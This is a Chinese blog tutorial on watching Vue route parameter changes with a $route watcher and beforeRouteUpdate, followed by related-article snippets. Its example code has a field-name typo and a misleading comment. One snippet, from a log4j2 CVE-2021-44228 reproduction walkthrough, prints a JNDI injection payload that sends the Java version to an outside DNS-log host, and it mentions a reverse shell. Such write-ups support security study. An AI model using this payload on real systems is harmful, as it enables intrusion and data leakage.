vue如何在组件中监听路由参数的变化

news2024/11/25 14:24:58

使用 watch 监听 $route 对象 的变化,从而捕捉路由参数的变化

beforeRouteUpdate 导航守卫  当前组件路由更新时调用

beforeRouteUpdate 钩子只在组件被复用时调用,即当组件实例仍然存在时。如果组件是完全重新创建的,那么应该使用 beforeRouteEnter 钩子。

<template>
  <div>
    <h1>用户信息</h1>
    <p>用户名: {{ user.name }}</p>
    <p>用户年龄: {{ user.age }}</p>
    <button @click="edit('zhangsan',10)">编辑1</button>
    <button @click="edit('wangwu',20)">编辑2</button>
  </div>
</template>

<script>
export default {
  data () {
    return {
      user: {}
    }
  },
  watch: {
    // 监听$route 对象,当路由变化时触发
    '$route' (to, from) {
      // 调用 beforeRouteUpdate 钩子
      this.fetchData()
    }
  },
  methods: {
    fetchData () {
      this.user = { name: 'lisi', age: 29 }
      this.user.name = this.$route.query.name
      this.user.age = this.$route.query.age
    },
    edit (name, age) {
      this.$router.push({
        path: '/',
        query: {
          name,
          age
        }
      })
    }
  },
  beforeRouteUpdate (to, from, next) {
    // 这里可以执行一些逻辑,比如重新获取数据
    this.user.nage = to.query.name
    this.user.age = to.query.age
    console.log('调用了beforeRouteUpdate')
    // 确保调用 next() 方法,否则路由不会更新
    next()
  }
}
</script>

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967535.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GD 32 滤波算法

GD32硬件滤波算法 程序代码&#xff1a; #include <stdint.h> #include <stdio.h> #include "gd32f30x.h" #include "delay.h"static void GpioInit(void) {rcu_periph_clock_enable(RCU_GPIOC);gpio_init(GPIOC, GPIO_MODE_AIN, GPIO_OSPEED_…

log4j2远程执行代码CVE-2021-44228复现

一.访问网址 发现 /solr/admin/cores?action参数 可以上传 如下图 步骤二 在dnslog平台上来监控我们注入的效果 上传参数 solr/admin/cores?action${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号 查看他的回显 开始准备反弹shell 下载JDNI&#xff0c…

编程语言 | C | 代码整理 | 4月

八月拍了拍你&#xff0c;并对你说&#xff1a;“好运就要开始了”&#xff01; 目录 编程语言 | C | 代码整理 | 4月2019/4/12019/4/22019/4/22019/4/32019/4/42019/4/52019/4/62019/4/72019/4/82019/4/92019/4/102019/4/112019/4/122019/4/132019/4/142019/4/152019/4/162019…

【简历】武汉某985大学:前端简历指导,拿offer可能性低

注&#xff1a;为保证用户信息安全&#xff0c;姓名和学校等信息已经进行同层次变更&#xff0c;内容部分细节也进行了部分隐藏 简历说明 这是一份985武汉某大学25届的前端简历&#xff0c;那么985面向的肯定是大厂的层次&#xff0c;但是作为前端简历&#xff0c;学校部分&a…

Jenkins的安装方式

一、Jenkins是什么 Jenkins是一款开源CI&CD软件&#xff0c;用于自动化构建、测试和部署软件等各种任务&#xff0c;以实现持续集成。 Jenkins支持各种运行方式&#xff0c;可通过系统包、Docker或者通过一个独立的Java程序。 二、安装方式 2.1禅道智能应用平台一键安装…

区间预测 | 光伏出力的区间预测(Matlab)

区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | 光伏出力的区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.适用于matlab2020及以上。可任意选择置信区间&#xff0c;区间覆盖率picp、区间平均…

入门Pandas必练习100题基础到进阶|阶级教程2

作者:郭震 51. How to get the row number of the nth largest value in a column? Find the row position of the 5th largest value of column a in df. # input df pd.DataFrame(np.random.randint(1, 30, 30).reshape(10,-1), columnslist(abc)) df# Solution 1# argsort…

Modelsim仿真Vivado IP核报错

问题 VIVADO版本为2017.2&#xff0c;Modelsim版本为10.7c 在vivado中调用modelsim仿真&#xff0c;出现报错“Module GND is not defined.”&#xff0c;“Module LUT4 is not defined.”等等一大堆&#xff0c;所有的IP核都是这样的报错。 由于问题已经解决了所以我没有报…

基于Flask的出租车、GPS轨迹数据分析可视化系统

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍技术路线内容介绍数据预处理系统界面可视化展示每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 针对杭州市出租车GPS数据的分析&…

万虹商城电影售票系统设计与实现

1 项目介绍 1.1 摘要 在如今高速发展的社会&#xff0c;电影产业蓬勃发展&#xff0c;人们对电影的需求日益增加&#xff0c;导致电影售票系统需要更加高效、便捷地满足观众的购票需求。传统的电影售票方式伴随着一系列的问题&#xff0c;排队购票现象是最为突出和普遍的现象…

拥抱简约之美,浦东TOP5装修公司打造现代风尚空间

在浦东地区&#xff0c;现代简约风格因其清新、实用的特点而深受居民喜爱。以下是五大装修公司&#xff0c;它们专注于打造现代风尚的居住空间&#xff1a; 1&#xff0e;即住空间装饰 设计理念&#xff1a;即住空间装饰以"高效、省心、精工"为核心理念&#xff0c…

【LeetCode每日一题】长度最小的子数组

【LeetCode每日一题】长度最小的子数组 标签: 二分&#xff0c;前缀和&#xff0c;滑动窗口&#xff0c;双指针 前缀和&二分 target要大于等于子数组nums[l]到nums[r]这段连续区间的和&#xff0c;因此想到用前缀和sums[r]-sums[l-1]可以快速求得区间和。 如何寻找targ…

1.DM8下载与安装

下载地址&#xff1a;产品下载 | 达梦数据库 DM8的安装与卸载&#xff0c;请参考课件资料中的《DM8 Install.pdf》。 2.DM8管理工具 更多的DM8管理工具请查看官方文档。 2.1.DM服务查看器 DM 服务查看器&#xff0c;顾名思义是对数据库服务进行查看管理的工具。通过服务查看…

JNDI-反序列化

参考博客&#xff1a; JNDI注入与动态类加载 分析版本 jdk8u201 流程分析 在前面JNDI-ldap绕过分析中提到&#xff0c;存在ldap原生反序列化利用点。 再回顾一下&#xff0c;在deserializeObject private static Object deserializeObject(byte[] var0, ClassLoader var…

Linux 命令,grep 说明与使用

1&#xff1a;grep命令功用&#xff1a; 一种强大的文本搜索工具&#xff0c;在一个或多个fles中搜索与正则表达式pattern相匹配的行。 如果有匹配行&#xff0c;则退出状态是0;如果没有匹配的行&#xff0c;则退出状态是1;有错误时退出状态是2。 2&#xff1a;命令构件: grep…

TypeScript 安装教程

安装TypeScript 下载并安装Node.js使用npm全局安装 npm install -g typescript版本查询 tsc -v 安装成功&#xff0c;但是执行tsc -v 命令&#xff0c;查看安装的ts版本时报错&#xff1a; tsc : 无法加载文件 D:\nodejs\node_global\tsc.ps1&#xff0c;因为在此系统上禁止…

软件测试之测试用例总结【含模板】

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、通用测试用例八要素   1、用例编号&#xff1b;    2、测试项目&#xff1b;   3、测试标题&#xff1b; 4、重要级别&#xff1b;    5、预置条件…

最新版人声处理插件Soundevice Digital Voxessor,winmac,持续更新

一。 多合一人声处理插件 Soundevice Digital Voxessor Soundevice Digital Voxessor是一款专门针对人声处理的效果器。它具有出色的计量功能和大量用于精确调整的参数&#xff0c;能够帮助用户快速获得美妙的声音。此外&#xff0c;它还提供了多种功能&#xff0c;如瞬间完美配…

SpringCloud-服务保护和分布式事务

一、雪崩问题 &#xff08;1&#xff09;雪崩问题 1.雪崩问题产生的原因是什么&#xff1f; ①微服务相互调用&#xff0c;服务提供者出现故障或阻塞。 ②服务调用者没有做好异常处理&#xff0c;导致自身故障。 ③调用链中的所有服务级联失败&#xff0c;导致整个集群故障…

57_2设置Servlet模板、Servlet线程安全问题、跳转

设置Servlet模板 再创建类就有了 模板代码 #if (${PACKAGE_NAME} && ${PACKAGE_NAME} ! "")package ${PACKAGE_NAME};#end #parse("File Header.java")import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import j…